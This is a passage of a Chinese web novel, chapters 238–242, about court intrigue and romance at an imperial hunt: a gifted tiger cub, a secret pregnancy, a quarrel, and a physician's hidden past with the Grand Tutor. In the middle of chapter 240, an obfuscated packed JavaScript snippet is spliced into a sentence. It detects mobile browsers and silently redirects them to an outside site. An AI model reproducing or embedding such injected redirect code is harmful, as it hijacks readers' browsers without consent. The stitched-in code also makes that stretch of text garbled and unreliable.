等纪录之后,猎物的主人依次向皇上和皇后进献猎物,毕竟,他们能猎到这些东西,可是源于天子赏赐。 众人纷纷将猎物之中最好的进献给皇上和皇后,有野猪,有灰狼,野牛,多数都是凶猛的野兽。 谢无烬的头彩梅花鹿是要自己留下的,听得宫人汇报,他进献的是一只金领翼彩雀,这时,又有内侍官将猎物呈现到皇后跟前。 众人瞧见那金领翼彩雀,忍不住惊呼一声。 这个金领翼彩雀虽算不上什么凶兽猛禽,但贵重的是它那颈上一圈金灿灿的羽毛,那可是只有皇后和太后才能用的点翠材料。 除了那圈金羽,这金领翼彩雀身上还有多重色彩的羽毛,哪一种用来做点翠镶嵌,都要比珍珠翠玉还要珍贵! 一时间,在场女子的眼睛便都凝在了那金领翼彩雀身上,满脸尽是羡慕。 这边谢无烬进献过后,便是敬王,众人猜测敬王会将那黑熊进献给皇上。 “彩头自不用多,今年这黑熊可真真是最强的猎物了!” “还得是敬王,当年他还是皇子时,武艺射箭便是各种翘楚!” “那还用说,敬王可是高手榜上有名的,快别说了,就要公布了!” 众人纷纷朝着高台看去,此时,宫人拿着纪录的册子,提着嗓音开口。 “敬王进献,金环豹一只——” 这声音出口,众人面上纷纷一顿,下意识朝皇上看去。 虽说金环豹也是很厉害的猎物,可总也比不上黑熊啊! 相比众人,皇上表情却没有分毫变化,不过此时众人议论,他便随着开口问一句。 “看来,敬王留下这黑熊是另有打算。” 皇上言语之间并没有任何不悦,说话间,眼睛半眯地看向敬王,似是还带着几分笑意。 敬王转身上前,朝皇上行一礼,“臣听说,太师府家的孩子让这黑熊伤得厉害,如今这罪魁祸首已然被猎捕,便由太师做处置吧!” 说话间,敬王摆摆手,立刻有几个侍卫过来,将那黑熊扛到了太师的跟前。 敬王朝太师的方向点点头。 太师看到那黑熊,眼珠子都红了,他攥着拳头没说话,只等皇上的意思。 “嗯,敬王真是有心了。” 说着,皇上摆摆手,“我大瑞的习俗,狩猎被畜生所伤,用它的血入药便能很快恢复,如今这畜生交给太师自然是应该的。” 皇上这一番话,不光让太师面上动容,更让在场百官跟着高呼“万岁”,妥妥立了一个宽宏君主的形象。 太师转身,朝皇上和敬王行礼。 “臣,多谢陛下,多谢敬王殿下!” 他的声音似是咬着牙从齿缝之中挤出来一般,是对那黑熊恨不得切成臊子的恨意。 又过了两家,之后便是姜云舒这边。 出猎的是月禾,依照姜云舒的吩咐,将猎到的赤狐和金狐进献给皇上和皇后。 皇后喜欢红色,凤台山的赤狐做成的皮毛衣物最合适,至于皇上,皇权之上,以金黄色为尊,这金狐更是衬了他的尊贵。 接下来,便是县主府。 姜云舒进献猎物不大,但深得皇上和皇后的心,加之姜云舒受伤未出猎,皇上和皇后当中赏赐了太医院的珍贵伤药。 等众人进献结束,这才陆续带着自己的猎物下了高台,很快有自己家的人迎过来,各自带着猎物回到自家的营帐。 谢无烬将剩余的猎物交给渊政王府的侍卫,他和卫临风卫临冲两兄弟则是直接到了姜云舒这边。 “月禾姑娘,让我们来吧!” 说话间,卫临风和卫临冲便接过了月禾手里的猎物,然后又用棍子将后面的挑起来。 谢无烬和姜云舒在外面走着,姜云舒瞧着他今日的衣服显得有些臃肿,一路上总想问,可月禾一直在跟她说狩猎的情况,以至于她还没开口,已经到了营帐。 “你们跟我来吧!” 月禾招呼着卫临风和卫临冲朝营帐后面去,将猎物卸下来。 姜云舒扭头看了谢无烬一眼,伸手将他拽进了营帐。 谢无烬似是早就看出她有话要问,还故意逗她。 “阿舒,你这样急做什么,我还没跟你提要求。”他眯着眼睛笑。 狩猎节之前他们约定,谢无烬若能猎到彩头的梅花鹿,姜云舒便答应他一个要求。 姜云舒朝他瞪一眼,没接他的话茬,转而问,“黑熊被捕,你怎么一点都不紧张?太师可不是好糊弄的,万一让他查到蛛丝马迹,你……” “你这是在担心我?” 谢无烬挑了挑眉,见姜云舒蹙眉紧张,紧忙跟她坦白,“放心吧,那黑熊并不是我驯养的,他们查不到我身上。” “你说什么?”姜云舒眸光一闪。 竟然不是他的熊? 那她白白担心的这半天算什么? “三皇子私藏火药之事,我也收到了消息,当初我调查时便与那黑熊遇上了,那畜生是用来守山洞的,我要调查里面,只能将它引开,凑巧,便是在你去万踪林的那日,我将它引了过去。” 这般凑巧,让姜云舒忍不住挑了挑眉梢,她看着谢无烬,思量须臾,又问,“那庄锡恒受伤跟你没有关系?” 她怎么就不相信呢? 谢无烬一顿,抬手摸了摸鼻子,“那是有些关系的,那晚我也进了林子,暗中用药粉引导黑熊攻击庄锡林……” 他不懂得训熊,但是用药物操控野兽,却是懂得一些的。 就知道! 姜云舒眼皮翻了翻,没好气道:“太医随行,万一查到你头上,得不偿失,你何苦要冒这样的危险……” 话还没说完,只觉肩膀一沉,她抬头,刚好谢无烬低下头来看她。 “阿舒,你是担心我的,对不对?” 第238章 看来你还要多练习 姜云舒的声音戛然而止,视线投入谢无烬那一汪深潭的眸中,一时间有些恍惚。 “我,我只是可怜那黑熊,本来它可以不用死……”姜云舒别过视线。 谢无烬的手往下,轻轻托住她的脸,神情又多了几分认真。 “真的不关心我?” 他的声音低哑,透着几分蛊惑。 姜云舒视线无可躲避,抿唇强撑,“是啊,一点都不关心!” “唉!” 谢无烬无奈,沉沉叹一口气,“可我总是想着你呢!” 他抬手在姜云舒脸上捏了一下,在她发怒之前,从怀里掏出一个东西。 温热的东西,从谢无烬怀里掏出来时,发出“嗷呜”的一声。 姜云舒一愣,低头细看这才瞧清楚,竟然是一只小虎仔! “哪儿来的?” 姜云舒的眼睛都亮了,紧忙伸手接过来。 这虎仔看起来比猫大不了多少,应该是刚出生没几天,抱在怀里全身软软的,暖暖的。 谢无烬看着她眼睛弯成一道月牙,心情也跟着明朗起来。 “是在捕获黑熊的山洞后面找到的,那山洞里面还有一堆枯骨,看形态应该是母虎的,想来是刚生产完就被黑熊袭击了。” 说着,他抬手在虎仔头上摸了一把,“小东西命还真大,竟然没有被黑熊一起吃掉,反而被养了起来。” “啧,那它这算不算认贼作父?” 姜云舒撇了撇嘴,随即想到什么,抬头看向谢无烬,“敬王可知道这虎仔?” 同一个山洞,敬王那边正对付黑熊,谢无烬趁机偷了山洞,这得多刺激。 “敬王想来机敏锐利,自然是知道的。”谢无烬不以为意。 “那你是如何得手的?”姜云舒一脸诧异。 敬王看起来可不是那种心怀宽广之人,虎仔这样的萌物,他定然是要送给斯羽的,怎么会让谢无烬带走? “自然是凭本事。”谢无烬挑眉。 姜云舒顿了一下,视线在他身上扫过,果然,雕花的锦衣上留了一道口子,那衣服布料上绣着斑驳的祥云花纹,一眼根本分辨不出上面的血迹。 “你!” 姜云舒蹙眉,将虎仔放在地上,转身去拿金疮药,“我给你上药。” 说着,她抬手将谢无烬的衣袖拉起来,此时血液尚未凝固,略显深色的血痕扒在伤口上,看得人心一紧。 “这么深的伤口,你怎的不让卫临风他们给你包扎?”她蹙起眉头。 “故意的,想让你包扎,更想让你关心关心我。”谢无烬低头看着姜云舒,微微凑近,“所以,你关心我吗?” “你说呢!” 姜云舒没好气白他一眼,将包扎绳系上。 谢无烬倏地勾起唇角,见她转身,伸手勾过她的腰往回一带。 姜云舒被拽着猛地回神,下意识惊呼,结果刚一张口便被湿软的唇堵住。 “唔……” 尚未来得及出口的话被堵了回去,姜云舒下意识抬手推他,耳边传来“嘶”的一声,她猛地一滞,便不敢再用力。 谢无烬的吻霸道辗转,他扣着姜云舒的头迫使她抬头迎着自己的气息,暧昧的气氛在空中弥漫,仿佛一团无形的云彩将两人笼罩在一起,逐渐收拢,慢慢失控。 姜云舒呼吸急促,心跳如鼓,满心慌乱之间,耳边传来低低的蛊惑声。 “呼吸。” 姜云舒这才意识到,自己一直憋着气,她猛地回神,抬手撑着谢无烬的肩膀将他推开一些。 这一次,谢无烬没再故意发出痛苦的嘶声。 空气笼罩过来,姜云舒猛地深吸一口气,脸上被染得一片酡红。 谢无烬垂眸看她,满眸尽是餍足的笑容,“看来,你还是要多练习。” 姜云舒抬头,此时气息依旧凌乱,说不出话来,只朝他瞪一眼。 然而,此时她便是生气也太过可爱,谢无烬忍不住,再次凑了过来。 “嗷呜……” 虎仔不失时机的在旁边叫了一声,打断了这未遂的亲热。 “啧!” 谢无烬不满地朝虎仔瞪眼。 虎仔不理他,晃晃悠悠到姜云舒跟前,软乎乎的小爪子在姜云舒腿上巴拉着。 姜云舒挑眉,蹲下身来将虎仔抱在怀里,轻轻的抚着它的头。 虎仔乖乖的趴在姜云舒手臂上,随着她抚摸的动作落下,小东西竟一伸脖子将姜云舒的手指含在了嘴里。 “渍渍渍……” 虎仔含着姜云舒的手用力吮吸。 姜云舒顿了一下,抬头看向谢无烬,就见他的脸色已经黑了下来。 “给我!” 谢无烬咬牙,伸手将虎仔从姜云舒怀里扯了过来,跨着脚步走到营帐门口。 “卫临风,把这小畜生带走喂食!” 卫临风紧忙接过去。 此时营帐的布帘开着,外面有人经过,议论的声音传了进来。 “敬王殿下可真是厉害,一回来就解决了黑熊这个大患,太师府肯定要好好感谢敬王殿下呢!” 说话的是两个小姑娘,不知是谁家的小姐,一边说着便从姜云舒的营帐前穿了过去。 说者无意,听者有心。 此时营帐之中,姜云舒和谢无烬因为这一句话看向彼此。 “你觉得呢?”谢无烬挑眉看她。 皇上派麒麟卫包围那山洞,可见黑熊的凶险,如今敬王将那害人的罪魁交给太师,按说,太师应该记敬王这份人情才对。 可事情不能只看外在表象,这赠熊背后的深意,却没有人多想。 此时谢无烬正等着她的回答,姜云舒眼睛转了一下,回答:“我倒是觉着,敬王这番是在搅浑了这汪水。” 谢无烬挑眉,转手给姜云舒倒了一杯茶递过来,“说来听听。” 姜云舒自然的低头喝一口茶,整理了一下思路,接着说。 “既然黑熊是三皇子的,想来皇上也是知道的,直接派麒麟卫去围剿,便是有意将那东西身上和三皇子有关的证据销毁,但敬王此时直接将那黑熊交给太师,即便没有真凭实据,以太师的本事,肯定能查到蛛丝马迹,届时,太师府和皇后之间的沟壑只会越来越深。” “我认同你的看法,这才是中心位置的权益。” 谢无烬点点头,赞许的看向姜云舒。 然而,姜云舒却下意识蹙起眉头。 “可他们之间的权益,与我何干,我又怎的妨碍了敬王,让他对我看不顺眼呢?” 第239章 有喜 见她一脸纠结,谢无烬无奈叹一口气。 “你大概不知道,敬王儿时便在军中崭露头角,当时在军中曾经称霸一时,然而,唯一的克星便是你娘,有你娘在的地方,他可是被压着打,听说,最严重的一次,还曾被你娘扒光了挂在城门示众!” 姜云舒闻言,嘴角猛地抽了一下。 难怪能让敬王记恨,那的确是她娘能干出来的事儿。 不过,娘也不是不讲理之人啊。 “敬王究竟做了什么,让我娘这样对他?”她不解问。 将人扒光了挂在城门上,那可是对待俘虏或者战犯才用的手段,这可真是里子面子都没有给敬王留啊! 谢无烬想了想,回答,“听我父王说,是当年试炼时,敬王被你娘设计吃了败仗,他气不过,便将你娘驯养多年的****。” “啧!”姜云舒忍不住撇嘴,“这不是输不起吗,那也活该他受着,这样的恶童就得整治!这针眼大的心眼,难怪他看我不顺眼!” 姜云舒越说越气。 谢无烬紧忙拉住她,摸虎仔一般安慰,“没事,还有我呢!” 有他在,姜云舒在京城便不是孤苦无依。 他的声音轻缓,姜云舒似是真的被他安慰到了,心情逐渐缓了下来。 她扭头看他,换了一个话题,“对了,今日我和斯羽遇上,谈话间,我发现他衣袖上的图案和之前的不一样。” 越是隐藏,便越是说明有问题。 谢无烬眸色沉重地思量片刻,却并未接她的话。 “总之,敬王并非善与之辈,以后再相遇,切记万事小心,尽量别与之牵扯。” 他说得认真,言语之间再无平常的玩味不羁。 姜云舒自然是明白的,点点头不再继续这话题。 谢无烬将她喝完的杯盏接过来续满茶,又递回来。 姜云舒接过,低头抿一口。 “对了,五公主……” 她似是又想起什么,抬头正要说,却听得裴钰和庄心悦的声音自营帐外传来。 “云舒!” 庄心悦的声音带着焦急,还不等姜云舒应声,人已经进了营帐。 “怎么了?” 姜云舒见她面露紧张,将杯盏放下,起身迎了过来。 “薛神医还在炼药室吗?我娘身子不适,想请薛神医过去看看。”庄心悦道。 “嗯?请我师父过去看?”姜云舒眸色微动,“不是有随行的太医吗?怎么要我师父去瞧?庄夫人的病情可是很严重?” 太师府也算是王公贵族,府上主人生病,也是有权利请太医过去的,而庄心悦向来有分寸,她知道薛神医平常忙于研发药物,一般情况,也不会因为一点小病痛过来请薛神医。 庄心悦四处瞧了瞧,凑近姜云舒身边,压低了声音。 “病情倒是不严重,但随行的太医不是我娘熟悉的,她不想让人知道。” 姜云舒楞了一下,随即明白过来,一脸了然的给了庄心悦一个眼神,庄心悦也回给她一个你“就是这个意思”的眼神。 明白了。 要不说瞌睡有人递枕头呢,庄家也算是有福报,庄锡恒不成了,便又给庄夫人安排了一个。 “你等着,我去找师父。” 姜云舒说着便出了营帐。 到薛神医炼药的营帐时,薛神医刚好出来,见姜云舒急冲冲过来,紧忙快走几步,将她拦在门外。 闲人勿进,尤其是姜云舒勿进的意思,再明显不过。 姜云舒扯了扯嘴角,一脸凌乱的看着薛神医。 “不是,师父,人家好歹是你徒弟,你不能防贼一样防着我啊!”她不满开口。 薛神医给了她一个不以为意的眼神,直接忽略她的话,“你方才神情匆忙,可是有什么要紧的事儿?” “哦,对!” 姜云舒回过神来,紧忙道:“是有点事儿,您现在若不忙,能不能去给庄夫人瞧瞧?” “哪个庄夫人?”薛神医开口,神情不着痕迹地沉了沉。 “就是太师府的庄夫人。” 姜云舒回答着,就要去扶薛神医,然而,还没碰到她的手臂,却被她先一步躲开。 “狩猎节有随行太医,他太 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“罢了,也难得庄家这姑娘一片孝心,我可以过去为庄夫人号脉,但你们要确保其他人不能过来打扰。” “是,师父放心,我们一定看住营帐周边,不会有人来打扰。”姜云舒应声。 她只当薛神医是考虑周密,并没有多想。 须臾,庄夫人营帐。 一如庄夫人心中所想,这一脉的确是喜脉。 “大概是舟车劳顿,加上一时不适应新环境才会出现这般强烈反应,我给你开一副药剂,用上一日便可有所缓解。” 薛神医说话的功夫,扭头给了姜云舒一个眼神。 姜云舒紧忙将写方子的纸笔递过来。 庄夫人和庄心悦听得薛神医的诊治,脸上顿时欣喜绽开,连连道谢。 薛神医依旧平淡的应了一声,转身回桌边,谁知刚坐下,外面传来通报声。 “太师回来了!” 声音传进来,薛神医执笔的手猛地一顿,一滴墨迹便落在了药方上。 第240章 庄太师,关爱? 姜云舒下意识看向薛神医,此时却见薛神医眸中的异色已经消失不见。 “爹!”庄心悦紧忙起身迎过去。 “嗯。” 太师应了一声,朝着里面走来,经过薛神医时,停下脚步。 “小女不懂事,劳烦薛神医辛苦一趟。”太师说话时,眼睛不着痕迹地落在薛神医脸上。 是那种凝视的视线,同样是一闪而过。 而此时,薛神医已经重新写了一张方子,在太师过来时,并没有抬起头来。 “太师客气了。” 薛神医抬手,将写好的方子递给庄心悦,“只需按照这个方子连用三餐,应该有所缓解。” “多谢薛神医!” 庄心悦捧着方子,道谢时,脸上还带着些许歉意。 之前承诺了不会有人进来打扰,谁知道这两日都在姨娘那边的父亲突然过来了? 更何况,如今篝火晚会还没有结束,他怎么突然回来了呢? 此时太师的视线同样落在薛神医身上,他似是犹豫了一下,才开口。 “夫人这是……” “庄夫人用多了肉糜,积食不化,用了药多休息调理便好。” 薛神医应了一声,不等太师再开口,转身看向卧床的庄夫人,“如此,庄夫人好生休养,若无其他事,我便回去了。” 庄夫人探出身子,朝薛神医点点头,“多谢薛神医,慢走。” 姜云舒紧忙上前,将薛神医的药箱背起来,扶着薛神医往外走。 此时,太师的视线一直随着他们,一直到两人的背影消失在营帐之外。 等营帐的门帘拉上,庄太师这才收回视线,转身看向床上的庄夫人。 “这两日让小厨房给你熬煮一些清粥。”他吩咐。 “好。”庄夫人应一声,随着庄心悦扶着,又躺了回去。 太师看着见庄夫人面上疲态明显,便也没再多说,叮嘱庄心悦好好照顾母亲,便也跟了出去。 庄心悦瞧着太师离开,一脸疑惑嘟哝,“我爹怎么突然回来了?也没人告诉他您身子不适啊!回来也不说多陪陪娘,这就走了?” 深宅后院之中,便是子女也希望父亲多陪陪母亲,然而,这几日因为庄锡恒受伤的缘故,父亲都在姨娘那边陪着,倒是让母亲这边没了温度。 庄夫人脸色也略显失望,若是平常,她或许要暗自多想,可如今她的心思都在肚子里萌生出来的小生命上,倒也没那么悲伤。 她抬手在庄心悦手背上拍了拍,“积食不化本就不是什么大问题,他不多问,反而更好。” “嗯?” 庄心悦扭头看向庄夫人,“胎儿不足三月,您不想对外人说倒也正常,为何还要瞒着父亲?” 这天大的喜事,不是应该第一时间告诉父亲吗? 刚才父亲进来时,她差一点就要说了,可那时见母亲朝她使眼色,嘴边的话到底还是咽了回去。 “赵姨娘那个人善妒,你也是知道的,如今你大哥出事,我的肚子里便立刻有了一个可能替代你大哥的,赵姨娘指不定明里暗里要闹出什么动静,此时告诉你父亲,只会招来麻烦。” “哦。” 庄心悦点点头。 庄夫人伸手拉住庄心悦,深深沉了一口气,“怪我性子软,你二哥为国战死,我无能为力,但作为一个母亲,我却没能护住你大姐,我这一辈子都是愧对她的,阿悦,你一定要跟裴钰好好的。” “娘,你放心吧,我跟裴钰好着呢!”庄心悦紧忙安慰。 “裴钰性子跳脱,却是个品行端正的好孩子,对你也上心,以后有什么事,你们之间要有商量。”庄夫人一边说着,下意识抬手抚上自己的肚子。 接下来的时间,她可能要将更多的经历放在肚子里这个孩子身上。 “我知道的,娘,您放心,我能保护好自己,您只管放松让自己舒心照顾好自己和弟弟或者妹妹。”庄心悦拍着庄夫人的手。 听说,当年庄夫人怀着她时,因为赵姨娘作妖,结果娘因为急火攻心,险些难产。 如今娘年纪也大了,更应该稳妥才是。 两人正说着话,就听外面传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325186|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来锣鼓声,是篝火晚会开始了。 “娘,你想吃什么,等会儿我烤好了给您送过来?”庄心悦问。 “都说了积食不化,便不能吃肉了,左右我也是真的没有胃口,你便吩咐小厨房给我熬一些肉粥便可。”庄夫人轻笑。 所谓积食不化,不过是薛神医用来遮掩她呕吐症状的,虽是搪塞之词,也得圆上才是。 庄心悦应着,从营帐出来,此时裴钰正在不远处等着。 两人似是心有灵犀,同时抬头瞧见对方,庄心悦紧走几步到了跟前。 “听姜云舒说,的确是喜事,之后你可要更仔细一些。” 裴钰一边说着,拉住庄心悦的手,压低了声音,“等回城之后,我便将我娘藏着的千年老参偷出来,回头问过薛神医之后,给你娘补身子。” “你可别作**!” 庄心悦没好气瞪他一眼,“那可是裴夫人的嫁妆,要是让她知道是你偷出来的,指定要将你吊起来打,以后我娘和你娘见面难免也要尴尬!” “嘿嘿,这有什么的,左右我娘也不再生了,留着也是没用,再说了,若她知道是给你娘用的,保不齐自己先送过来了!”裴钰笑得像个傻子似的。 庄心悦瞧他,心中一暖。 是呢,若是裴夫人知道娘有了身孕,指定要将自己压箱底儿的好东西送过来。 “这事儿先别说,起码,过了三个月胎象稳了之后再说,便是说给你娘,也断别再跟外人说了。”庄心悦紧忙叮嘱。 “好,我知道的。” 裴钰应着,拉着庄心悦朝姜云舒的营帐走去。 他们到时,姜云舒也刚好出来,三个人汇合后,一路朝着篝火场走去。 夜深,扎营之地篝火通明,此时三三两两的人朝着篝火场的方向走去。 绕过前面营帐,姜云舒几个人正要拐向篝火场,却见两人迎面朝他们走了过来。 “姜云舒?庄心悦!” 一声怒斥迎面而来,姜云舒和庄心悦同时抬头,就见霍凌霜和庄心雅正从他们侧面的路走了过来。 第241章 深夜密会 “姜云舒,你这个恶毒的蛇蝎!” 霍凌霜见到姜云舒像是被扎了尾巴似的,怒气冲冲就到了跟前,“都是因为你害得庄锡恒重伤,你这个毒妇!” “啧!” 姜云舒忍不住响亮的啧了一声,“霍小姐,晴天白……不是,月黑风高的,你可别冤枉人,庄锡恒那胳膊是狗熊咬伤的,可不是我咬的!” “噗嗤!” 裴钰站在旁边,忍不住就笑出了声。 霍凌霜扭头朝裴钰瞪一眼,回过头来,又给了姜云舒一个白眼。 “姜云舒,你少揣着明白当糊涂,那晚擂台上,若不是你羞辱,庄锡恒也不会郁结气愤跑去夜猎,都是因为你……” “呵!” 姜云舒直接打算她,勾起的唇角之间尽是嘲讽,“这年头,废物找借口也真是五花八门,庄锡恒输给我是因为他能力不足,是我逼他夜猎了?而且,黑熊也不是我养的,要怪就怪他自己倒霉,你应该去找老天要说法,而不是我!” 话音停顿一瞬,随即见霍凌霜瞪眼,又接了一句,“擂台之上,输赢各凭本事,如你和庄锡恒这般背地里下黑手的,我若出事才应该找你们负责,奈何,你们太弱,便是下黑手也不是我的对手!” “你!” 一句话,顶得霍凌霜脸色涨红,抬手指着姜云舒,半晌愣是说不出一句话来。 “姜云舒,你怎么敢这样说我大哥!” 庄心雅忍不住开口,说完姜云舒又转向庄心悦,“不管怎么说,大哥受伤跟姜云舒有着脱不开的干系,你竟然还跟她走得那么近,你到底是不是庄家人?” 庄心悦原本就想着站在后面听姜云舒教训这里人,谁知道,自己一句话不说也不行,竟然让庄心雅的手指头指到脸上来了。 “你再敢用手指着我,我直接给你撅断!” 庄心悦抬手将庄心雅的手拍下去,冷冷的翻了个白眼,“庄心雅,你都多大了,还这么天真,怪不得只能跟霍凌霜玩儿!” 小孩子过家家吗?还拉帮结派的。 年纪关系,庄心雅比庄心悦矮了半个头,此时庄心悦眼神凌厉的压过来,到底让她有些紧张的往后退了两步。 “庄心悦,她可是你妹妹!” 霍凌霜从后面撑住庄心雅,昂着头看向庄心悦,“你大哥平日里秉礼持重,是姜云舒当众羞辱他才会被激怒,就算他去夜猎不是姜云舒逼的,她也脱不开干系,你可是庄家人,自然要以家族为重。” 几句话将事情升级到家族上,不得不说,霍凌霜还真是挺会家族绑架那一套的。 然而,没有人比庄心悦更知道庄锡恒是什么样的“秉礼持重”,就他用二哥生前的护腕做彩头,试图逼迫昭珩郡主,别说秉礼持重,便是高门公子该有的仁义谦和他都没有。 “我是庄家人没错,可霍小姐,你又是什么什么身份在这里对我指手画脚的呢?你所谓的羞辱,在我看来,姜云舒做得并不过分,他拿我二哥的遗物做彩头时,这份儿羞辱他就活该受着!”庄心悦咬着牙,眼底泛起恨意。 自从二哥战死,庄锡恒时不时便给母亲心上划一刀,同样是庄家人又如何,还不是往自己人身上捅刀子? “庄心悦,你怎么……你怎么能这样说……你……” 庄心悦和霍凌霜瞪着眼睛,两人磕磕绊绊,终究没有说出一句完整的话。 倒是裴钰听不下去了,忍不住走上前来,从背后撑了庄心悦一把。 “你们姑娘吵架真是麻烦,就不能直接动手吗?打一架,赢了的才有资格说话,输了的直接闭嘴!” 一说动手,庄心雅和霍凌霜的脸色霎时一滞,眼神明显缩了一下。 她们哪里是对手啊? 裴钰将两人的慌乱尽收眼底,眉梢挑起一丝玩味,“怎么,不敢啊?那就闭嘴!” 说完,转身跟姜云舒和庄心悦道:“宴会要开始了,还不走吗?” “走啊!” 庄心悦抬脚往前走,经过庄心雅和霍凌霜身边时,提醒一声,“好狗不挡道!” 两人下意识闪开一道路,随即眼看着姜云舒几个人离开朝着篝火场的方向走去,两人攥紧了拳头,咬住后槽牙。 等着,这件事绝对不可能就这么完了! 姜云舒几个人没再理会后面两人,一边走着,庄心悦还宽慰。 “姜云舒,你别介意,霍凌霜一直喜欢我大哥,但是她将军府介意我大哥是庶子,一直不同意,直到上个月大哥拿下白泽军千户的职位后,将军府终于松了口,还跟祖母这边通了意思,结果,大哥这一受伤,他们的婚事怕是又不成了。” “我没事。”姜云舒朝庄心悦抿了抿唇。 权利之下,京城权贵总是现实的,家中子女的婚事也在权利的衡量之中。 此时回想自己当初和沈清安的婚事,爹娘可谓是纵容她了,奈何,自己眼神不好,选了个人渣。 虽说已经及时止损,可每每回想起这件事,姜云舒都觉得对不起父母,心情也就跟着低落下来。 庄心悦扭头,见姜云舒面色沉重,只当她依旧在意大哥受伤的事,抬手拍了拍她的肩膀。 “真的跟你没关系的,其实,自二哥战死后,大哥便越发狂妄,皇后姑母也劝说过他收敛,奈何他不听。” “就是,就庄锡恒此番行径,那日擂台即便你不出手,他也不会好过,毕竟,世家之中,又不少人和庄二哥是挚友,不可能任由他猖狂。” 一路说这话,便到了篝火场地。 众人燃起篝火,架起烧烤的架子,随着哔啵的声音,肉香肆意蔓延开来。 姜云舒烤了一些软嫩酥脆的兔肉,准备带回去给薛神医,正好这边庄心悦也特意给庄夫人烤了一些软嫩的,两人结伴往回走。 薛神医的营帐距离烧烤场地比较近,两人便先往这边来,眼看着就要到营帐,却见黑夜之中,一个人影先她们一步进了薛神医的营帐。 “这么晚了,谁来找薛神医?”庄心悦扭头看姜云舒。 姜云舒也一脸疑惑,虽说是自己师父,可她的人脉和关系,姜云舒并不是很清楚。 “过去看看吧。” 姜云舒不放心。 两人放轻了脚步来到薛神医的营帐外面,距离不近不远,就想着确定若里面不是什么危险之辈,便乖乖在外面等着。 结果,来人一开口,两人的脚步一下子顿住。 “天姿,怎么没去篝火场?” 这声音……庄太师? 第242章 他们有过一个孩子 营帐外的姜云舒和庄心悦当即面色一滞,扭头看向对方。 这么晚了,他来找薛神医做什么?难不成,对庄夫人的病起了疑心? 还不等两人想到什么,却听里面声音再次传来。 “我看你没去篝火场,想着你应该也还没用晚膳,便特意烤了一些你喜欢的炙烤弥羊,你尝尝。” 那声音不似平常的沉冷威严,而是庄心悦都未曾听过的温和柔软,甚至,言语之间还有几分“哄”着的感觉? 不是,这太惊悚了! 庄心悦瞪大眼睛,肯定是有什么不干净的东西上了父亲的身! 姜云舒见庄心悦这反应,也不由得蹙起眉来,她虽与庄太师接触不多,但此时这语气从他口中出来,真真让人感觉脊背发寒。 难不成,他对师父…… 正想着,里面传来薛神医的声音。 “多谢庄太师记挂,不过,阿舒会准备我的晚膳。”薛神医的声音依旧清冷,甚至比往常更多了几分生人勿近的疏离。 “你……天姿,你还在怨恨我吗?我知道,当年的事,是我对不起你,我……” “你不必这样!” 薛神医打断庄太师的话,似是叹了一口气才开口,“当年的事,我们两个都是受害者,没有谁对不起谁。” 太师的声音半晌没有传出来,姜云舒和庄心悦对视一眼,又往营帐跟前凑了凑。 “天姿,你就那么厌恶我吗,以至于,让你那么决绝的拿掉那个无辜的孩子!”太师的声音带着些许颤抖。 姜云舒和庄心悦的脚步一滞,瞪大的眼睛里尽是震撼。 师父和庄太师之间有个孩子? 这孩子被师父拿掉了,难不成太师当年强迫过师父? 可师父又说他们两个都是受害者,这故事听起来很悬念啊! 不是,上一辈的故事这么劲爆的吗? 营帐之外,姜云舒和庄心悦正大眼瞪小眼,里面又传来薛神医的声音。 “你说我决绝也好,铁石心肠也罢,我这个人,不喜欢自己的人生被人安排,也不会受人胁迫,更何况,那孩子尚未成型,谈不上什么无辜不无辜,我不让它出生,也正是因为责任,否则,胁迫裹挟我人生的孩子,我如何让它幸福呢?” 说着,薛神医又沉沉叹一口气,“庄行舟,你如今已经是一国太师,府上也有几个孩子了,好好爱你的孩子们吧,我们之间已经毫无牵连。” “你……” 太师似乎依旧无法接受薛神医的说法,停顿半晌,沉沉地叹一口气,“这么多年,你还是放不下他。” “谁都有放不下的人,尤其,那个人在我们感情最深的时候死去,他在我这里留下的便全都是美好的。” 薛神医接了一句,不等太师再开口,她似乎没了耐心,“我还要配药,你若没旁的事便请回吧。” 薛神医调配药物,向来是要避人的,太师迟疑了片刻,最终还是转身走了出来。 姜云舒和庄心悦缩在角落里,听师父撵人了,紧忙又往旁边挪了挪,此时,火把光芒之下,就见庄太师一脸阴郁地出了帐篷。 等人离开,两人这才小心翼翼的从暗处走出来,相互交换一个眼神,都从彼此眼睛里看到了八卦的兴奋。 “庄二,你在京城时间长,可曾听说过有关你爹和我师父的事情?”庄心悦问。 “我是长在京城,可薛神医离开京城时我还没出生,从哪里听得他们的故事?八成连我娘都不知道,而且……” 庄心悦的话忽然停下来,她蹙着眉头想了想,道:“听说,我爹和皇后姑母彻底闹翻,也是在我爹成婚之前,难不成,是跟薛神医有关?” 两人讨论不出个结果,但是八卦的火苗一下子烧了起来。 “回头我们各自旁敲侧击的打听打听。” 京城之中,哪里有什么秘密呢,只要问对了人,总能打听到什么。 “好。” 庄心悦应声离开。 姜云舒端着肉在营帐外停了一会儿,才朝营帐喊了一声。 “师父,我来给你用吃的。” 里面没有声音。 姜云舒在营帐外等待片刻,最后还是抬脚走了进去。 此时营帐之内灯光昏暗,薛神医并没有炼药,而是坐在桌边,看着手里的东西发呆。 “师父。” 姜云舒喊了一声,朝薛神医走过去,到跟前才看清楚,她手里拿着的是一只荷包,确切来说,是一个上面沾染了血迹,看起来有些年头的荷包。 “师父,这是……”姜云舒忍不住开口。 薛神医抬头看她,深吸一口气,“这是故人的遗物,已故之人。” 姜云舒看到薛神医脸上的悲伤,这是她第一次看到师父这样伤心,原本还想问的话,一时竟不知道如何开口了。 两人沉默着,谁也没说话,此时,营帐之外传来急促的敲锣声。 “喜讯喜讯!芷妃娘娘诞下龙子,明早提前回城!” 传话的声音带着兴奋,一路走过各家营帐门口。 姜云舒和薛神医抬头,听闻这消息,眼神之间神色略有微妙。 芷妃娘娘的产期应该是在半月之后,如今却赶在了狩猎节,皇上和皇后都不在皇宫时提前降生,是这小皇子自己想提早出来,还是有力量催动,让他不得不提早出生? 